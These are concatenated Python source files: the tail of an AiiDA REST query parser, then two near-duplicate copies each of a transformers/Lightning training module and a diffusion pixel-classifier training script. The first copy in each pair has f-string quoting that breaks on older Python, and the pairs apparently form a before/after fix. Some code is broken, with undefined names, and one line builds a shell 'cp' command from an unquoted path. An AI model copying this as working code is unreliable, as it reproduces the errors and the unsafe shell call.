is expressed as +/-[HH]:[' 'MM] ' 'given with ' 'respect to UTC' ) if dtobj.tzinfo is not None and dtobj.utcoffset() is not None: tzoffset_minutes = int(dtobj.utcoffset().total_seconds() // 60) return DatetimePrecision( dtobj.replace(tzinfo=FixedOffsetTimezone(offset=tzoffset_minutes, name=None)), precision ) return DatetimePrecision(dtobj.replace(tzinfo=FixedOffsetTimezone(offset=0, name=None)), precision) ######################################################################## # Convert datetime value to datetime object value_datetime.setParseAction(validate_time) # More General types value = (value_string | value_bool | value_datetime | value_num | value_orderby) # List of values (I do not check the homogeneity of the types of values, # query builder will do it somehow) value_list = Group(value + OneOrMore(Suppress(',') + value) + Optional(Suppress(','))) # Fields single_field = Group(key + operator + value) list_field = Group(key + (Literal('=in=') | Literal('=notin=')) + value_list) orderby_field = Group(key + Literal('=') + value_list) field = (list_field | orderby_field | single_field) # Fields separator separator = Suppress(Literal('&')) # General query string general_grammar = SS() + Optional(field) + ZeroOrMore( separator + field) + \ Optional(separator) + SE() ## Parse the query string try: fields = general_grammar.parseString(query_string) # JQuery adds _=timestamp a parameter to not use cached data/response. # To handle query, remove this "_" parameter from the query string # For more details check issue #789 # (https://github.com/aiidateam/aiida-core/issues/789) in aiida-core field_list = [entry for entry in fields.asList() if entry[0] != '_'] except ParseException as err: raise RestInputValidationError( 'The query string format is invalid. ' "Parser returned this massage: \"{" "}.\" Please notice that the column " 'number ' 'is counted from ' 'the first character of the query ' 'string.'.format(err) ) ## return the translator instructions elaborated from the field_list return self.build_translator_parameters(field_list) def list_routes(): """List available routes""" from flask import current_app output = [] for rule in current_app.url_map.iter_rules(): if rule.endpoint == 'static': continue methods = ','.join(rule.methods) line = urllib.parse.unquote(f'{rule.endpoint:15s} {methods:20s} {rule}') output.append(line) return sorted(set(output)) @decorator def close_session(wrapped, _, args, kwargs): """Close AiiDA SQLAlchemy (QueryBuilder) session This decorator can be used for router endpoints to close the SQLAlchemy global scoped session after the response has been created. This is needed, since the QueryBuilder uses a SQLAlchemy global scoped session no matter the profile's database backend. """ try: return wrapped(*args, **kwargs) finally: get_manager().get_backend().get_session().close()
import logging import os import random import numpy as np import pytorch_lightning as pl import torch from transformers import ( AdamW, AutoConfig, AutoModel, AutoModelForQuestionAnswering, AutoModelForSequenceClassification, AutoModelWithLMHead, AutoTokenizer, ) from transformers.modeling_auto import MODEL_MAPPING, ALL_PRETRAINED_MODEL_ARCHIVE_MAP, AutoModelForPreTraining, AutoModelForTokenClassification from transformers.optimization import get_linear_schedule_with_warmup logger = logging.getLogger(__name__) ALL_MODELS = tuple(ALL_PRETRAINED_MODEL_ARCHIVE_MAP) MODEL_CLASSES = tuple(m.model_type for m in MODEL_MAPPING) MODEL_MODES = { "base": AutoModel, "sequence-classification": AutoModelForSequenceClassification, "question-answering": AutoModelForQuestionAnswering, "pretraining": AutoModelForPreTraining, "token-classification": AutoModelForTokenClassification, "language-modeling": AutoModelWithLMHead, } def set_seed(args): random.seed(args.seed) np.random.seed(args.seed) torch.manual_seed(args.seed) if args.n_gpu > 0: torch.cuda.manual_seed_all(args.seed) class BaseTransformer(pl.LightningModule): def __init__(self, hparams, num_labels=None, mode="base"): "Initialize a model." super(BaseTransformer, self).__init__() self.hparams = hparams self.hparams.model_type = self.hparams.model_type.lower() config = AutoConfig.from_pretrained( self.hparams.config_name if self.hparams.config_name else self.hparams.model_name_or_path, **({"num_labels": num_labels} if num_labels is not None else {}), cache_dir=self.hparams.cache_dir if self.hparams.cache_dir else None, ) tokenizer = AutoTokenizer.from_pretrained( self.hparams.tokenizer_name if self.hparams.tokenizer_name else self.hparams.model_name_or_path, do_lower_case=self.hparams.do_lower_case, cache_dir=self.hparams.cache_dir if self.hparams.cache_dir else None, config=config ) model = MODEL_MODES[mode].from_pretrained( self.hparams.model_name_or_path, from_tf=bool(".ckpt" in self.hparams.model_name_or_path), config=config, cache_dir=self.hparams.cache_dir if self.hparams.cache_dir else None, ) self.config, self.tokenizer, self.model = config, tokenizer, model def is_logger(self): return self.trainer.proc_rank <= 0 def configure_optimizers(self): "Prepare optimizer and schedule (linear warmup and decay)" model = self.model no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": self.hparams.weight_decay, }, { "params": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0, }, ] optimizer = AdamW(optimizer_grouped_parameters, lr=self.hparams.learning_rate, eps=self.hparams.adam_epsilon) self.opt = optimizer return [optimizer] def optimizer_step(self, epoch, batch_idx, optimizer, optimizer_idx, second_order_closure=None): if self.trainer.use_tpu: xm.optimizer_step(optimizer) else: optimizer.step() optimizer.zero_grad() self.lr_scheduler.step() def get_tqdm_dict(self): tqdm_dict = {"loss": "{:.3f}".format(self.trainer.avg_loss), "lr": self.lr_scheduler.get_last_lr()[-1]} return tqdm_dict def test_step(self, batch, batch_nb): return self.validation_step(batch, batch_nb) def test_end(self, outputs): return self.validation_end(outputs) def train_dataloader(self): train_batch_size = self.hparams.train_batch_size dataloader = self.load_dataset("train", train_batch_size) t_total = ( (len(dataloader.dataset) // (train_batch_size * max(1, self.hparams.n_gpu))) // self.hparams.gradient_accumulation_steps * float(self.hparams.num_train_epochs) ) scheduler = get_linear_schedule_with_warmup( self.opt, num_warmup_steps=self.hparams.warmup_steps, num_training_steps=t_total ) self.lr_scheduler = scheduler return dataloader def val_dataloader(self): return self.load_dataset("dev", self.hparams.eval_batch_size) def test_dataloader(self): return self.load_dataset("test", self.hparams.eval_batch_size) def _feature_file(self, mode): return os.path.join( self.hparams.data_dir, "cached_{}_{}_{}".format( mode, list(filter(None, self.hparams.model_name_or_path.split("/"))).pop(), str(self.hparams.max_seq_length), ), ) @staticmethod def add_model_specific_args(parser, root_dir): parser.add_argument( "--model_type", default=None, type=str, required=True, help="Model type selected in the list: " + ", ".join(MODEL_CLASSES), ) parser.add_argument( "--model_name_or_path", default=None, type=str, required=True, help="Path to pre-trained model or shortcut name selected in the list: " + ", ".join(ALL_MODELS), ) parser.add_argument( "--config_name", default="", type=str, help="Pretrained config name or path if not the same as model_name" ) parser.add_argument( "--tokenizer_name", default="", type=str, help="Pretrained tokenizer name or path if not the same as model_name", ) parser.add_argument( "--cache_dir", default="", type=str, help="Where do you want to store the pre-trained models downloaded from s3", ) parser.add_argument( "--do_lower_case", action="store_true", help="Set this flag if you are using an uncased model." ) parser.add_argument("--learning_rate", default=5e-5, type=float, help="The initial learning rate for Adam.") parser.add_argument("--weight_decay", default=0.0, type=float, help="Weight decay if we apply some.") parser.add_argument("--adam_epsilon", default=1e-8, type=float, help="Epsilon for Adam optimizer.") parser.add_argument("--warmup_steps", default=0, type=int, help="Linear warmup over warmup_steps.") parser.add_argument( "--num_train_epochs", default=3, type=int, help="Total number of training epochs to perform." ) parser.add_argument("--train_batch_size", default=32, type=int) parser.add_argument("--eval_batch_size", default=32, type=int) def configure_ddp(self, model, device_ids): """ Configure to use a single GPU set on local rank. Must return model. :param model: :param device_ids: :return: DDP wrapped model """ device_id = f"cuda:{os.environ["LOCAL_RANK"]}" model = LightningDistributedDataParallel( model, device_ids=[device_id], output_device=device_id, find_unused_parameters=True, ) return model def init_ddp_connection(self, proc_rank, world_size): """ Connect all procs in the world using the env:// init Use the first node as the root address """ import torch.distributed as dist dist.init_process_group("nccl", init_method="env://") # Explicitly setting seed to make sure that models created in two processes # start from same random weights and biases. # TODO(jeffling): I'm pretty sure we need to set other seeds as well? print(f"Setting torch manual seed to {FIXED_SEED} for DDP.") torch.manual_seed(FIXED_SEED) class LoggingCallback(pl.Callback): def on_validation_end(self, trainer, pl_module): logger.info("***** Validation results *****") if pl_module.is_logger(): metrics = trainer.callback_metrics # Log results for key in sorted(metrics): if key not in ["log", "progress_bar"]: logger.info("{} = {}\n".format(key, str(metrics[key]))) def on_test_end(self, trainer, pl_module): logger.info("***** Test results *****") if pl_module.is_logger(): metrics = trainer.callback_metrics # Log and save results to file # output_test_results_file = os.path.join(pl_module.hparams.output_dir, "test_results.txt") output_test_results_file = os.path.join("bartresults", "test_results.txt") with open(output_test_results_file, "w") as writer: for key in sorted(metrics): if key not in ["log", "progress_bar"]: logger.info("{} = {}\n".format(key, str(metrics[key]))) writer.write("{} = {}\n".format(key, str(metrics[key]))) def add_generic_args(parser, root_dir): parser.add_argument( "--output_dir", default=None, type=str, required=True, help="The output directory where the model predictions and checkpoints will be written.", ) parser.add_argument( "--fp16", action="store_true", help="Whether to use 16-bit (mixed) precision (through NVIDIA apex) instead of 32-bit", ) parser.add_argument( "--fp16_opt_level", type=str, default="O1", help="For fp16: Apex AMP optimization level selected in ['O0', 'O1', 'O2', and 'O3']." "See details at https://nvidia.github.io/apex/amp.html", ) parser.add_argument("--n_gpu", type=int, default=1) parser.add_argument("--n_tpu_cores", type=int, default=0) parser.add_argument("--max_grad_norm", default=1.0, type=float, help="Max gradient norm.") parser.add_argument("--do_train", action="store_true", help="Whether to run training.") parser.add_argument("--do_predict", action="store_true", help="Whether to run predictions on the test set.") parser.add_argument( "--gradient_accumulation_steps", type=int, default=1, help="Number of updates steps to accumulate before performing a backward/update pass.", ) parser.add_argument("--server_ip", type=str, default="", help="For distant debugging.") parser.add_argument("--server_port", type=str, default="", help="For distant debugging.") parser.add_argument("--seed", type=int, default=42, help="random seed for initialization") def generic_train(model, args, logger=None): # init model set_seed(args) # Setup distant debugging if needed if args.server_ip and args.server_port: # Distant debugging - see https://code.visualstudio.com/docs/python/debugging#_attach-to-a-local-script import ptvsd print("Waiting for debugger attach") ptvsd.enable_attach(address=(args.server_ip, args.server_port), redirect_output=True) ptvsd.wait_for_attach() if os.path.exists(args.output_dir) and os.listdir(args.output_dir) and args.do_train: raise ValueError("Output directory ({}) already exists and is not empty.".format(args.output_dir)) checkpoint_callback = pl.callbacks.ModelCheckpoint( filepath=args.output_dir, prefix="checkpoint", monitor="val_loss", mode="min", save_top_k=5 ) train_params = dict( accumulate_grad_batches=args.gradient_accumulation_steps, gpus=args.set_gpu, max_epochs=args.num_train_epochs, early_stop_callback=False, gradient_clip_val=args.max_grad_norm, checkpoint_callback=checkpoint_callback, callbacks=[LoggingCallback()], ) if logger is not None: train_params['logger'] = logger if args.fp16: train_params["use_amp"] = args.fp16 train_params["amp_level"] = args.fp16_opt_level if args.n_tpu_cores > 0: global xm import torch_xla.core.xla_model as xm train_params["num_tpu_cores"] = args.n_tpu_cores train_params["gpus"] = 0 if args.n_gpu > 1: train_params["distributed_backend"] = "dp" trainer = pl.Trainer(**train_params) if args.do_train: trainer.fit(model) return trainer
import logging import os import random import numpy as np import pytorch_lightning as pl import torch from transformers import ( AdamW, AutoConfig, AutoModel, AutoModelForQuestionAnswering, AutoModelForSequenceClassification, AutoModelWithLMHead, AutoTokenizer, ) from transformers.modeling_auto import MODEL_MAPPING, ALL_PRETRAINED_MODEL_ARCHIVE_MAP, AutoModelForPreTraining, AutoModelForTokenClassification from transformers.optimization import get_linear_schedule_with_warmup logger = logging.getLogger(__name__) ALL_MODELS = tuple(ALL_PRETRAINED_MODEL_ARCHIVE_MAP) MODEL_CLASSES = tuple(m.model_type for m in MODEL_MAPPING) MODEL_MODES = { "base": AutoModel, "sequence-classification": AutoModelForSequenceClassification, "question-answering": AutoModelForQuestionAnswering, "pretraining": AutoModelForPreTraining, "token-classification": AutoModelForTokenClassification, "language-modeling": AutoModelWithLMHead, } def set_seed(args): random.seed(args.seed) np.random.seed(args.seed) torch.manual_seed(args.seed) if args.n_gpu > 0: torch.cuda.manual_seed_all(args.seed) class BaseTransformer(pl.LightningModule): def __init__(self, hparams, num_labels=None, mode="base"): "Initialize a model." super(BaseTransformer, self).__init__() self.hparams = hparams self.hparams.model_type = self.hparams.model_type.lower() config = AutoConfig.from_pretrained( self.hparams.config_name if self.hparams.config_name else self.hparams.model_name_or_path, **({"num_labels": num_labels} if num_labels is not None else {}), cache_dir=self.hparams.cache_dir if self.hparams.cache_dir else None, ) tokenizer = AutoTokenizer.from_pretrained( self.hparams.tokenizer_name if self.hparams.tokenizer_name else self.hparams.model_name_or_path, do_lower_case=self.hparams.do_lower_case, cache_dir=self.hparams.cache_dir if self.hparams.cache_dir else None, config=config ) model = MODEL_MODES[mode].from_pretrained( self.hparams.model_name_or_path, from_tf=bool(".ckpt" in self.hparams.model_name_or_path), config=config, cache_dir=self.hparams.cache_dir if self.hparams.cache_dir else None, ) self.config, self.tokenizer, self.model = config, tokenizer, model def is_logger(self): return self.trainer.proc_rank <= 0 def configure_optimizers(self): "Prepare optimizer and schedule (linear warmup and decay)" model = self.model no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": self.hparams.weight_decay, }, { "params": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0, }, ] optimizer = AdamW(optimizer_grouped_parameters, lr=self.hparams.learning_rate, eps=self.hparams.adam_epsilon) self.opt = optimizer return [optimizer] def optimizer_step(self, epoch, batch_idx, optimizer, optimizer_idx, second_order_closure=None): if self.trainer.use_tpu: xm.optimizer_step(optimizer) else: optimizer.step() optimizer.zero_grad() self.lr_scheduler.step() def get_tqdm_dict(self): tqdm_dict = {"loss": "{:.3f}".format(self.trainer.avg_loss), "lr": self.lr_scheduler.get_last_lr()[-1]} return tqdm_dict def test_step(self, batch, batch_nb): return self.validation_step(batch, batch_nb) def test_end(self, outputs): return self.validation_end(outputs) def train_dataloader(self): train_batch_size = self.hparams.train_batch_size dataloader = self.load_dataset("train", train_batch_size) t_total = ( (len(dataloader.dataset) // (train_batch_size * max(1, self.hparams.n_gpu))) // self.hparams.gradient_accumulation_steps * float(self.hparams.num_train_epochs) ) scheduler = get_linear_schedule_with_warmup( self.opt, num_warmup_steps=self.hparams.warmup_steps, num_training_steps=t_total ) self.lr_scheduler = scheduler return dataloader def val_dataloader(self): return self.load_dataset("dev", self.hparams.eval_batch_size) def test_dataloader(self): return self.load_dataset("test", self.hparams.eval_batch_size) def _feature_file(self, mode): return os.path.join( self.hparams.data_dir, "cached_{}_{}_{}".format( mode, list(filter(None, self.hparams.model_name_or_path.split("/"))).pop(), str(self.hparams.max_seq_length), ), ) @staticmethod def add_model_specific_args(parser, root_dir): parser.add_argument( "--model_type", default=None, type=str, required=True, help="Model type selected in the list: " + ", ".join(MODEL_CLASSES), ) parser.add_argument( "--model_name_or_path", default=None, type=str, required=True, help="Path to pre-trained model or shortcut name selected in the list: " + ", ".join(ALL_MODELS), ) parser.add_argument( "--config_name", default="", type=str, help="Pretrained config name or path if not the same as model_name" ) parser.add_argument( "--tokenizer_name", default="", type=str, help="Pretrained tokenizer name or path if not the same as model_name", ) parser.add_argument( "--cache_dir", default="", type=str, help="Where do you want to store the pre-trained models downloaded from s3", ) parser.add_argument( "--do_lower_case", action="store_true", help="Set this flag if you are using an uncased model." ) parser.add_argument("--learning_rate", default=5e-5, type=float, help="The initial learning rate for Adam.") parser.add_argument("--weight_decay", default=0.0, type=float, help="Weight decay if we apply some.") parser.add_argument("--adam_epsilon", default=1e-8, type=float, help="Epsilon for Adam optimizer.") parser.add_argument("--warmup_steps", default=0, type=int, help="Linear warmup over warmup_steps.") parser.add_argument( "--num_train_epochs", default=3, type=int, help="Total number of training epochs to perform." ) parser.add_argument("--train_batch_size", default=32, type=int) parser.add_argument("--eval_batch_size", default=32, type=int) def configure_ddp(self, model, device_ids): """ Configure to use a single GPU set on local rank. Must return model. :param model: :param device_ids: :return: DDP wrapped model """ device_id = f"cuda:{os.environ['LOCAL_RANK']}" model = LightningDistributedDataParallel( model, device_ids=[device_id], output_device=device_id, find_unused_parameters=True, ) return model def init_ddp_connection(self, proc_rank, world_size): """ Connect all procs in the world using the env:// init Use the first node as the root address """ import torch.distributed as dist dist.init_process_group("nccl", init_method="env://") # Explicitly setting seed to make sure that models created in two processes # start from same random weights and biases. # TODO(jeffling): I'm pretty sure we need to set other seeds as well? print(f"Setting torch manual seed to {FIXED_SEED} for DDP.") torch.manual_seed(FIXED_SEED) class LoggingCallback(pl.Callback): def on_validation_end(self, trainer, pl_module): logger.info("***** Validation results *****") if pl_module.is_logger(): metrics = trainer.callback_metrics # Log results for key in sorted(metrics): if key not in ["log", "progress_bar"]: logger.info("{} = {}\n".format(key, str(metrics[key]))) def on_test_end(self, trainer, pl_module): logger.info("***** Test results *****") if pl_module.is_logger(): metrics = trainer.callback_metrics # Log and save results to file # output_test_results_file = os.path.join(pl_module.hparams.output_dir, "test_results.txt") output_test_results_file = os.path.join("bartresults", "test_results.txt") with open(output_test_results_file, "w") as writer: for key in sorted(metrics): if key not in ["log", "progress_bar"]: logger.info("{} = {}\n".format(key, str(metrics[key]))) writer.write("{} = {}\n".format(key, str(metrics[key]))) def add_generic_args(parser, root_dir): parser.add_argument( "--output_dir", default=None, type=str, required=True, help="The output directory where the model predictions and checkpoints will be written.", ) parser.add_argument( "--fp16", action="store_true", help="Whether to use 16-bit (mixed) precision (through NVIDIA apex) instead of 32-bit", ) parser.add_argument( "--fp16_opt_level", type=str, default="O1", help="For fp16: Apex AMP optimization level selected in ['O0', 'O1', 'O2', and 'O3']." "See details at https://nvidia.github.io/apex/amp.html", ) parser.add_argument("--n_gpu", type=int, default=1) parser.add_argument("--n_tpu_cores", type=int, default=0) parser.add_argument("--max_grad_norm", default=1.0, type=float, help="Max gradient norm.") parser.add_argument("--do_train", action="store_true", help="Whether to run training.") parser.add_argument("--do_predict", action="store_true", help="Whether to run predictions on the test set.") parser.add_argument( "--gradient_accumulation_steps", type=int, default=1, help="Number of updates steps to accumulate before performing a backward/update pass.", ) parser.add_argument("--server_ip", type=str, default="", help="For distant debugging.") parser.add_argument("--server_port", type=str, default="", help="For distant debugging.") parser.add_argument("--seed", type=int, default=42, help="random seed for initialization") def generic_train(model, args, logger=None): # init model set_seed(args) # Setup distant debugging if needed if args.server_ip and args.server_port: # Distant debugging - see https://code.visualstudio.com/docs/python/debugging#_attach-to-a-local-script import ptvsd print("Waiting for debugger attach") ptvsd.enable_attach(address=(args.server_ip, args.server_port), redirect_output=True) ptvsd.wait_for_attach() if os.path.exists(args.output_dir) and os.listdir(args.output_dir) and args.do_train: raise ValueError("Output directory ({}) already exists and is not empty.".format(args.output_dir)) checkpoint_callback = pl.callbacks.ModelCheckpoint( filepath=args.output_dir, prefix="checkpoint", monitor="val_loss", mode="min", save_top_k=5 ) train_params = dict( accumulate_grad_batches=args.gradient_accumulation_steps, gpus=args.set_gpu, max_epochs=args.num_train_epochs, early_stop_callback=False, gradient_clip_val=args.max_grad_norm, checkpoint_callback=checkpoint_callback, callbacks=[LoggingCallback()], ) if logger is not None: train_params['logger'] = logger if args.fp16: train_params["use_amp"] = args.fp16 train_params["amp_level"] = args.fp16_opt_level if args.n_tpu_cores > 0: global xm import torch_xla.core.xla_model as xm train_params["num_tpu_cores"] = args.n_tpu_cores train_params["gpus"] = 0 if args.n_gpu > 1: train_params["distributed_backend"] = "dp" trainer = pl.Trainer(**train_params) if args.do_train: trainer.fit(model) return trainer
import torch import torch.nn as nn from tqdm import tqdm import json import os import gc from torch.utils.data import DataLoader import argparse from src.utils import setup_seed, multi_acc from src.pixel_classifier import load_ensemble, compute_iou, predict_labels, save_predictions, save_predictions, pixel_classifier from src.datasets import ImageLabelDataset, FeatureDataset, make_transform from src.feature_extractors import create_feature_extractor, collect_features from guided_diffusion.guided_diffusion.script_util import model_and_diffusion_defaults, add_dict_to_argparser from guided_diffusion.guided_diffusion.dist_util import dev def prepare_data(args): feature_extractor = create_feature_extractor(**args) print(f"Preparing the train set for {args["category"]}...") dataset = ImageLabelDataset( data_dir=args['training_path'], resolution=args['image_size'], num_images=args['training_number'], transform=make_transform( args['model_type'], args['image_size'] ) ) X = torch.zeros((len(dataset), *args['dim'][::-1]), dtype=torch.float) y = torch.zeros((len(dataset), *args['dim'][:-1]), dtype=torch.uint8) if 'share_noise' in args and args['share_noise']: rnd_gen = torch.Generator(device=dev()).manual_seed(args['seed']) noise = torch.randn(1, 3, args['image_size'], args['image_size'], generator=rnd_gen, device=dev()) else: noise = None for row, (img, label) in enumerate(tqdm(dataset)): img = img[None].to(dev()) features = feature_extractor(img, noise=noise) X[row] = collect_features(args, features).cpu() for target in range(args['number_class']): if target == args['ignore_label']: continue if 0 < (label == target).sum() < 20: print(f'Delete small annotation from image {dataset.image_paths[row]} | label {target}') label[label == target] = args['ignore_label'] y[row] = label d = X.shape[1] print(f'Total dimension {d}') X = X.permute(1,0,2,3).reshape(d, -1).permute(1, 0) y = y.flatten() return X[y != args['ignore_label']], y[y != args['ignore_label']] def evaluation(args, models): feature_extractor = create_feature_extractor(**args) dataset = ImageLabelDataset( data_dir=args['testing_path'], resolution=args['image_size'], num_images=args['testing_number'], transform=make_transform( args['model_type'], args['image_size'] ) ) if 'share_noise' in args and args['share_noise']: rnd_gen = torch.Generator(device=dev()).manual_seed(args['seed']) noise = torch.randn(1, 3, args['image_size'], args['image_size'], generator=rnd_gen, device=dev()) else: noise = None preds, gts, uncertainty_scores = [], [], [] for img, label in tqdm(dataset): img = img[None].to(dev()) features = feature_extractor(img, noise=noise) features = collect_features(args, features) x = features.view(args['dim'][-1], -1).permute(1, 0) pred, uncertainty_score = predict_labels( models, x, size=args['dim'][:-1] ) gts.append(label.numpy()) preds.append(pred.numpy()) uncertainty_scores.append(uncertainty_score.item()) save_predictions(args, dataset.image_paths, preds) miou = compute_iou(args, preds, gts) print(f'Overall mIoU: ', miou) print(f'Mean uncertainty: {sum(uncertainty_scores) / len(uncertainty_scores)}') # Adopted from https://github.com/nv-tlabs/datasetGAN_release/blob/d9564d4d2f338eaad78132192b865b6cc1e26cac/datasetGAN/train_interpreter.py#L434 def train(args): features, labels = prepare_data(args) train_data = FeatureDataset(features, labels) print(f" ********* max_label {args["number_class"]} *** ignore_label {args["ignore_label"]} ***********") print(f" *********************** Current number data {len(features)} ***********************") train_loader = DataLoader(dataset=train_data, batch_size=args['batch_size'], shuffle=True, drop_last=True) print(" *********************** Current dataloader length " + str(len(train_loader)) + " ***********************") for MODEL_NUMBER in range(args['start_model_num'], args['model_num'], 1): gc.collect() classifier = pixel_classifier(numpy_class=(args['number_class']), dim=args['dim'][-1]) classifier.init_weights() classifier = nn.DataParallel(classifier).cuda() criterion = nn.CrossEntropyLoss() optimizer = torch.optim.Adam(classifier.parameters(), lr=0.001) classifier.train() iteration = 0 break_count = 0 best_loss = 10000000 stop_sign = 0 for epoch in range(100): for X_batch, y_batch in train_loader: X_batch, y_batch = X_batch.to(dev()), y_batch.to(dev()) y_batch = y_batch.type(torch.long) optimizer.zero_grad() y_pred = classifier(X_batch) loss = criterion(y_pred, y_batch) acc = multi_acc(y_pred, y_batch) loss.backward() optimizer.step() iteration += 1 if iteration % 1000 == 0: print('Epoch : ', str(epoch), 'iteration', iteration, 'loss', loss.item(), 'acc', acc) if epoch > 3: if loss.item() < best_loss: best_loss = loss.item() break_count = 0 else: break_count += 1 if break_count > 50: stop_sign = 1 print("*************** Break, Total iters,", iteration, ", at epoch", str(epoch), "***************") break if stop_sign == 1: break model_path = os.path.join(args['exp_dir'], 'model_' + str(MODEL_NUMBER) + '.pth') MODEL_NUMBER += 1 print('save to:',model_path) torch.save({'model_state_dict': classifier.state_dict()}, model_path) if __name__ == '__main__': parser = argparse.ArgumentParser() add_dict_to_argparser(parser, model_and_diffusion_defaults()) parser.add_argument('--exp', type=str) parser.add_argument('--seed', type=int, default=0) args = parser.parse_args() setup_seed(args.seed) # Load the experiment config opts = json.load(open(args.exp, 'r')) opts.update(vars(args)) opts['image_size'] = opts['dim'][0] # Prepare the experiment folder if len(opts['steps']) > 0: suffix = '_'.join([str(step) for step in opts['steps']]) suffix += '_' + '_'.join([str(step) for step in opts['blocks']]) opts['exp_dir'] = os.path.join(opts['exp_dir'], suffix) path = opts['exp_dir'] os.makedirs(path, exist_ok=True) print('Experiment folder: %s' % (path)) os.system('cp %s %s' % (args.exp, opts['exp_dir'])) # Check whether all models in ensemble are trained pretrained = [os.path.exists(os.path.join(opts['exp_dir'], f'model_{i}.pth')) for i in range(opts['model_num'])] if not all(pretrained): # train all remaining models opts['start_model_num'] = sum(pretrained) train(opts) print('Loading pretrained models...') models = load_ensemble(opts, device='cuda') evaluation(opts, models)
import torch import torch.nn as nn from tqdm import tqdm import json import os import gc from torch.utils.data import DataLoader import argparse from src.utils import setup_seed, multi_acc from src.pixel_classifier import load_ensemble, compute_iou, predict_labels, save_predictions, save_predictions, pixel_classifier from src.datasets import ImageLabelDataset, FeatureDataset, make_transform from src.feature_extractors import create_feature_extractor, collect_features from guided_diffusion.guided_diffusion.script_util import model_and_diffusion_defaults, add_dict_to_argparser from guided_diffusion.guided_diffusion.dist_util import dev def prepare_data(args): feature_extractor = create_feature_extractor(**args) print(f"Preparing the train set for {args['category']}...") dataset = ImageLabelDataset( data_dir=args['training_path'], resolution=args['image_size'], num_images=args['training_number'], transform=make_transform( args['model_type'], args['image_size'] ) ) X = torch.zeros((len(dataset), *args['dim'][::-1]), dtype=torch.float) y = torch.zeros((len(dataset), *args['dim'][:-1]), dtype=torch.uint8) if 'share_noise' in args and args['share_noise']: rnd_gen = torch.Generator(device=dev()).manual_seed(args['seed']) noise = torch.randn(1, 3, args['image_size'], args['image_size'], generator=rnd_gen, device=dev()) else: noise = None for row, (img, label) in enumerate(tqdm(dataset)): img = img[None].to(dev()) features = feature_extractor(img, noise=noise) X[row] = collect_features(args, features).cpu() for target in range(args['number_class']): if target == args['ignore_label']: continue if 0 < (label == target).sum() < 20: print(f'Delete small annotation from image {dataset.image_paths[row]} | label {target}') label[label == target] = args['ignore_label'] y[row] = label d = X.shape[1] print(f'Total dimension {d}') X = X.permute(1,0,2,3).reshape(d, -1).permute(1, 0) y = y.flatten() return X[y != args['ignore_label']], y[y != args['ignore_label']] def evaluation(args, models): feature_extractor = create_feature_extractor(**args) dataset = ImageLabelDataset( data_dir=args['testing_path'], resolution=args['image_size'], num_images=args['testing_number'], transform=make_transform( args['model_type'], args['image_size'] ) ) if 'share_noise' in args and args['share_noise']: rnd_gen = torch.Generator(device=dev()).manual_seed(args['seed']) noise = torch.randn(1, 3, args['image_size'], args['image_size'], generator=rnd_gen, device=dev()) else: noise = None preds, gts, uncertainty_scores = [], [], [] for img, label in tqdm(dataset): img = img[None].to(dev()) features = feature_extractor(img, noise=noise) features = collect_features(args, features) x = features.view(args['dim'][-1], -1).permute(1, 0) pred, uncertainty_score = predict_labels( models, x, size=args['dim'][:-1] ) gts.append(label.numpy()) preds.append(pred.numpy()) uncertainty_scores.append(uncertainty_score.item()) save_predictions(args, dataset.image_paths, preds) miou = compute_iou(args, preds, gts) print(f'Overall mIoU: ', miou) print(f'Mean uncertainty: {sum(uncertainty_scores) / len(uncertainty_scores)}') # Adopted from https://github.com/nv-tlabs/datasetGAN_release/blob/d9564d4d2f338eaad78132192b865b6cc1e26cac/datasetGAN/train_interpreter.py#L434 def train(args): features, labels = prepare_data(args) train_data = FeatureDataset(features, labels) print(f" ********* max_label {args['number_class']} *** ignore_label {args['ignore_label']} ***********") print(f" *********************** Current number data {len(features)} ***********************") train_loader = DataLoader(dataset=train_data, batch_size=args['batch_size'], shuffle=True, drop_last=True) print(" *********************** Current dataloader length " + str(len(train_loader)) + " ***********************") for MODEL_NUMBER in range(args['start_model_num'], args['model_num'], 1): gc.collect() classifier = pixel_classifier(numpy_class=(args['number_class']), dim=args['dim'][-1]) classifier.init_weights() classifier = nn.DataParallel(classifier).cuda() criterion = nn.CrossEntropyLoss() optimizer = torch.optim.Adam(classifier.parameters(), lr=0.001) classifier.train() iteration = 0 break_count = 0 best_loss = 10000000 stop_sign = 0 for epoch in range(100): for X_batch, y_batch in train_loader: X_batch, y_batch = X_batch.to(dev()), y_batch.to(dev()) y_batch = y_batch.type(torch.long) optimizer.zero_grad() y_pred = classifier(X_batch) loss = criterion(y_pred, y_batch) acc = multi_acc(y_pred, y_batch) loss.backward() optimizer.step() iteration += 1 if iteration % 1000 == 0: print('Epoch : ', str(epoch), 'iteration', iteration, 'loss', loss.item(), 'acc', acc) if epoch > 3: if loss.item() < best_loss: best_loss = loss.item() break_count = 0 else: break_count += 1 if break_count > 50: stop_sign = 1 print("*************** Break, Total iters,", iteration, ", at epoch", str(epoch), "***************") break if stop_sign == 1: break model_path = os.path.join(args['exp_dir'], 'model_' + str(MODEL_NUMBER) + '.pth') MODEL_NUMBER += 1 print('save to:',model_path) torch.save({'model_state_dict': classifier.state_dict()}, model_path) if __name__ == '__main__': parser = argparse.ArgumentParser() add_dict_to_argparser(parser, model_and_diffusion_defaults()) parser.add_argument('--exp', type=str) parser.add_argument('--seed', type=int, default=0) args = parser.parse_args() setup_seed(args.seed) # Load the experiment config opts = json.load(open(args.exp, 'r')) opts.update(vars(args)) opts['image_size'] = opts['dim'][0] # Prepare the experiment folder if len(opts['steps']) > 0: suffix = '_'.join([str(step) for step in opts['steps']]) suffix += '_' + '_'.join([str(step) for step in opts['blocks']]) opts['exp_dir'] = os.path.join(opts['exp_dir'], suffix) path = opts['exp_dir'] os.makedirs(path, exist_ok=True) print('Experiment folder: %s' % (path)) os.system('cp %s %s' % (args.exp, opts['exp_dir'])) # Check whether all models in ensemble are trained pretrained = [os.path.exists(os.path.join(opts['exp_dir'], f'model_{i}.pth')) for i in range(opts['model_num'])] if not all(pretrained): # train all remaining models opts['start_model_num'] = sum(pretrained) train(opts) print('Loading pretrained models...') models = load_ensemble(opts, device='cuda') evaluation(opts, models)
